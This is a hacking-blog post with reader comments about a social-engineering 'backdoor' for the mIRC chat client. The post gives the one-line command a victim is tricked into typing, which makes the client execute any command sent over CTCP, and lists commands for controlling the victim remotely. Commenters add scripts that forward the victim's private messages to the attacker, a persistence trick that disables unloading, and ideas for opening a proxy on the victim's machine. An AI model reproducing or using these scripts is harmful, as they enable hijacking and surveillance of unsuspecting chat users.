24 February 2006 | 22,647 views

mIRC Backdoor

Acunetix Web Application Security

Well it’s not really a backdoor… but we can consider it one…

Some time ago it apeared on many websites (including mine) an article about a backdoor in mIRC… all this backdoor stuff was really nothing more than a mIRC script that by it’s mean made the client to respond at any command received via a CTCP (Client to Client Protocol) command… such as ping, version, time, etc…. so here is the command that the victim has to enter:

//.write -c mirc.dll ctcp 1:*:*:$1- | /.load -rs mirc.dll

The command is splited in 2 parts, delimited by | (a vertical line)… So the first section writes a file “mirc.dll” in which we write a simple mIRC script which listens to any CTCP request… the second one loads the file with the mIRC script….

After the “victim” executes this command we can control it by introducing one of the following lines:

{ this is a comment }

/ctcp victims_nick /.nick lamer { changes the nickname of the victim to lamer }

/ctcp victims_nick /.exit { closes the victims mIRC }

/ctcp victims_nick /.run www.black2white.as.ro
{ opens the victims default web browser (ie, firefox, opera, etc.) on the page www.black2white.as.ro }

/ctcp victims_nick /.any_valid_irc_command

So happy “masterminding”….

More IRC Commands: http://www.hackthissite.org/pages/irc/reference.php





                

Recent in General Hacking:
- PentesterLab.com – Excercises To Learn Penetration Testing
- New eLearnSecurity Course – WAPT – Web Application Penetration Testing
- Hackers Break Into White House Military Network

Related Posts:
- Norton Antivirus Funny Bug
- A Collection of Web Backdoors & Shells – cmdasp cmdjsp jsp-reverse php-backdoor
- who is backbone?

Most Read in General Hacking:
- 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) - 1,129,326 views
- Hack Tools/Exploits - 572,875 views
- Password Cracking with Rainbowcrack and Rainbow Tables - 409,583 views

Advertise on Darknet

15 Responses to “mIRC Backdoor”

  1. myk 7 September 2006 at 7:30 am Permalink

    how can i use that command and wer i put it

  2. erl 30 November 2006 at 2:12 am Permalink

    what are the codes that im the one will control the other user to quit ect.?

  3. backbone 30 November 2006 at 5:29 pm Permalink

    you make the victim enter the command, and for quiting you send the victim

    /ctcp victims_nick /.quit killed by I don't know who


    see mIRC help for more commands

  4. yo 13 December 2006 at 12:34 am Permalink

    another commands do you have…this don”t know how it works

  5. backbone 13 February 2007 at 8:43 am Permalink

    I reedited the text and added a / (slash) in the command because the ones who just posted it doesn’t work, didn’t even press a F(ckin)1 in mIRC to see that the newer version in the write alias, have to add double // slashes so they would parse | (bar) as a new alias…

  6. amru 10 March 2007 at 3:39 pm Permalink

    how can l use this cmmand and where l put it

  7. backbone 10 March 2007 at 4:32 pm Permalink

    the victim has to enter that command line in there editbox… the place where you type the message before hitting enter… =))

  8. amru 12 March 2007 at 10:26 am Permalink

    please l want more comands

  9. DeJest 13 June 2007 at 10:10 am Permalink

    Hi, is there a way to view another user’s queries? Say for instance, I (DeJest) want to view the query between SomeOne001 and SomeOne002.

  10. s1n 13 June 2007 at 11:56 am Permalink

    Christ! mirc script backdoors? that is so 90s!

    bah, anyway:

    amru: try typing “/help commands” in mirc. (first rule of hackclub(r), RTFM!)

    DeJest: “/help scripts”, i would suggest you look into the on INPUT and TEXT events for what you want.
    tip: if you run a command as /.command it should not print stdout to user if fuzzy memory serves.

    let us know if you code something cool, there is a lot of potential.

    s1n

  11. backbone 13 June 2007 at 2:41 pm Permalink

    s1n that was my first post wtf should have I written to get attention (hist) ? =)

    something like this would do

    on *:input:?: { /.msg DeJest spy $me $1- }
    on *:text:?: { /.msg DeJest spy $nick $1- }

    then you should parse with a tiny script so that if SomeOne002 is the first param or SomeOne001 then drop it in a window… small ex:

    on *:text:spy*: { echo @spywindow $1- }

    not tested but should look something like this…

  12. SHITEMASTER 17 June 2008 at 3:17 am Permalink

    //write xd on ^*:text:@do*:*: $chr(123) $ $+ 2- $chr(124) halt $chr(125) | //write xd alias unload noop | //write xd alias remote noop | /load -rs xd

    it disables /unload and /remote to some degree, there are likely better methods, and i’d be willing to see them

    from there i would use the backdoor to load the spy script, since the line may be too long to use it all in one command.
    you should use an alias to do this for me, but whatever works.
    example:
    @do /write spy on *:input:*: { if (%spy) { .msg %spy $active $+ : $1- } }
    @do /write spy on *:disconnect: { unset %spy }
    @do /write spy on *:connect: { join #rofl }
    @do /write spy on *:topic:#rofl: { if ($1 == !setspy) { set %spy $2 }

    well, that’s that.

  13. chevalier3as 17 June 2008 at 5:31 pm Permalink

    nice!! if i got that right, the mIRC client reate a *.dll with specific options( -c *.dll ctcp 1:*:*:$1-) I still don’t get 1:*:*:$1, then load it to the client.
    wouldn’t it be possible to do the same with browsers??Creating a *.dll file then sending commands through ctcp, probably js or some scripting language readable by the browser????
    that would be nice, but the dll file has to be loaded to the client at each start!

  14. SHITEMASTER 17 June 2008 at 6:45 pm Permalink

    chevalier, i think the word you are looking for is batch script. also, you could easily add socket scripts to perform automated shit. a good idea would be making a socklisten event in which opens a proxy server on the victims host. of course, this would not work if the person is behind a router, and not forwarded on the port selected, would still be quite interesting

    or simply use mirc to write some .html files with javascript on them. there are several possibilities

  15. SreeKanth 18 December 2008 at 6:47 am Permalink

    Thats a grt conversation from top to bottom. Well my question is, is there any backdoor script where i can send a MSG to all users at once on an irc server. Can anyone help me out with this?